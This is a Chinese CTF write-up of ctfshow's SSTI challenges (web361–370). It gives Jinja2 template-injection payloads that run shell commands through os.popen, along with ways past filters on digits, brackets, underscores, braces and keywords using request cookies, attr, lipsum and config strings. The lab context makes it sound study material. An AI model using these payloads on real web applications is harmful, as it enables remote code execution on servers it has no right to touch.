ctfshowssti

ctfshowssti
Lkaiweb361
打开,题目说名字就是考点,试了一下这个的参数是get传参的
所以我们试一下name=49
发现成功,于是我们正常测试
1 | ?name={{().__class__.__base__.__subclasses__()}} |
发现没过滤啥东西,于是我们用脚本找到os._wrap_close所在的地方
1 | import requests |
发现是132
去看是否重载,然后调用里面的popen
1 | ?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}} |
成功
当然这里我们也可以用全局变量里面的内嵌函数,然后再用其eval执行,也是可以的
1 | ?name={{''.__class__.__base__.__subclasses__()[132].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}} |
web362
经过我们的测试发现过滤了3和2之类的,相当于我们不能用os._wrap_close 这个模块了
不过我们可以用length绕过数字
1 | ?name={% set a='aaaaaaa'|length*'aaaaaaaaaaaaaaaaaaa'|length-'a'|length %}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls /').read()}} |
其实这题我们也可以用config和url_for来绕过
web263
发现过滤了popen,builtins等函数,所以我们用request绕过
1 | ?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.xy](request.args.shell).read()}}&xy=popen&shell=ls / |
web264
对比上个题发现过滤了request.args那我们就用cookie来过
1 | ?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__[request.cookies.xy](request.cookies.shell).read()}} |
web265
这题发现被过滤了中括号,很坏了,使用getitem来绕过
1 | ?name={{().__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__(request.cookies.xy)(request.cookies.shell).read()}} |
web266
又把下划线过滤了
用attr绕过下划线
1 | /?name={{()|attr(request.cookies.cla)|attr(request.cookies.bas)|attr(request.cookies.sub)()|attr(request.cookies.geti)(132)|attr(request.cookies.ini)|attr(request.cookies.glo)|attr(request.cookies.geti)(request.cookies.p)(request.cookies.shell)|attr(request.cookies.rea)()}} |
1 | cookie: |
后来我去看了下wp,去学习了他们的一些骚操作姿势,看wp里面他们都喜欢用通过调用其他函数来绕过,比如url_for之类的,但是这题过滤了下划线就用lipsum来当全局对象
lipsum|attr(request.cookies.a)
来间接取它的某个属性(对应你 Cookie 里给的键名 a
)。这一步纯粹是为了「开始」那条链式调用 —— 一旦你从 lipsum
拿到一个对象,就可以继续 .os.popen(...)
、.read()
这样的后续链路,绕过模板里对双下划线或 open
这类敏感词的过滤
1 | ?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}} |
1 | a=__globals__;b=ls / |
web367
这题相当于上题ban了个os,上题的第一个payload还是能用的
由于lipsum.__ globals__ 拿到了全局命名空间,我们是可以直接调用os模块的,但是这里os被ban了,我这里本来是想着 用|attr()去绕过的,但是后来发现这里我们拿到的是全局命名空间也就是一个字典,而我们attr返回的是一个属性,而我们调用的.os是一个键值,如果你这么写就会返回undefined,所以我们采用
1 | ?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}} |
这里用(request.values.xxx)也是可以的values是get和post都可以传参
1 | a=__globals__;b=os;c=ls / |
web368
发现过滤了大括号,用**{% %}**就行,然后用 print() 打印一下就好了,直接用上题的payload1 | ?name={% print((lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()) %} |
1 | a=__globals__;b=os;c=ls / |
由于url_for用不了,所以我们就用config来取里面的字符串
这里用了别人的代码吗,简单修改了一下
1 | import requests |
得到类似的
于是用相同的方法去构造其他的地方,
1 | ?name={% print((lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower())).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower() |
然后这里还有第2种方法,我们用dict和join绕过,由于过滤了下划线,我们可以先从{}|select中取出下划线 和从self中取出空 格
1 | ?name={%set pop=dict(pop=a)|join%} |
web370
把数字过滤掉了,那我们就把上题的payload用到数字的地方用length过滤就好了,然后dict那里1换成字符a就好了
1 | ?name={%set pop=dict(pop=a)|join%} |